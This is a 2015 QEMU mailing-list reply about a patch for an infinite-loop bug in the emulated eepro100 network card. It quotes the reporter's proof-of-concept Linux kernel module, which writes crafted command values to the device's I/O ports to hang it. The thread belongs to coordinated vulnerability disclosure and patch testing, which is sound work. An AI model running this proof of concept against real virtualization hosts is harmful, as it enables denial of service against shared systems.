Re: [Qemu-devel] [PATCH] eepro100: prevent an infinite loop over same command block

[Stefan Weil <sw@weilnetz.de>]

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Am 20.11.2015 um 07:29 schrieb Qinghao Tang:
> I think the patch can solve this vulnerability.
> I confirm that the loop exist , the poc code can prove that.
>
>
> #include <linux/init.h>
> #include <linux/module.h>
> #include <linux/kernel.h>
> #include <asm/io.h>
> #define PAGE_OFFSET 0x0C000000
> MODULE_LICENSE("GPL");
> static int hello_init(void)
> {
>
>   void* pvirt;
>   void* pphy;
>   unsigned long* pdbal;
>   unsigned long* tdt;
>   unsigned short status;
>   pvirt =kmalloc(0x100,GFP_KERNEL);
>   memset(pvirt,0,0x100);//control the filed of eepro100_tx_t struct
>   pphy=virt_to_phys(pvirt);//get physical address
>   printk(KERN_ALERT "%08x\n",pvirt);
>   printk(KERN_ALERT "%08x\n",pphy);
>   outl(pphy,0xc004);//write the address
>   outw(0x0060,0xc002);
>   outl(0,0xc004);//write the offset
>   outw(0x0010,0xc002); //enter action_command function
>   
>   
> return 0;
> }
> static void hello_exit(void)
> {
> printk(KERN_ALERT "goodbye,kernel\n");
> }
> module_init(hello_init);
> module_exit(hello_exit);
> MODULE_AUTHOR("qinghao tang");
> MODULE_DESCRIPTION("poc for eepro100 infinite loop vulnerability\n");
>
> 2015-11-20 14:10 GMT+08:00 P J P <ppandit@redhat.com
> <mailto:ppandit@redhat.com>>:
>
>       Hello Qinghao,
>
>     +-- On Fri, 20 Nov 2015, Qinghao Tang wrote --+
>     | Currently what problem do you have? Perhaps I could provide more
>     support.
>
>       Could you please confirm if the proposed patch here fixes the issue.
>     Secondly there is uncertainty if the CB loop like Jason mentioned
>     earlier is
>     possible.
>
>     | And please give this vulnerability a cve id.
>
>       Yes I will; As soon as the patch is ready for upstream.
>
>     Thank you.
>     --
>     Prasad J Pandit / Red Hat Product Security Team
>     47AF CE69 3A90 54AA 9045 1053 DD13 3D32 FE5B 041F
>
>

Thanks for this example. Could you please try whether the patch
which I have just sent fixes the problem for you?

And please CC me on any e-mails regarding eepro100.

Stefan


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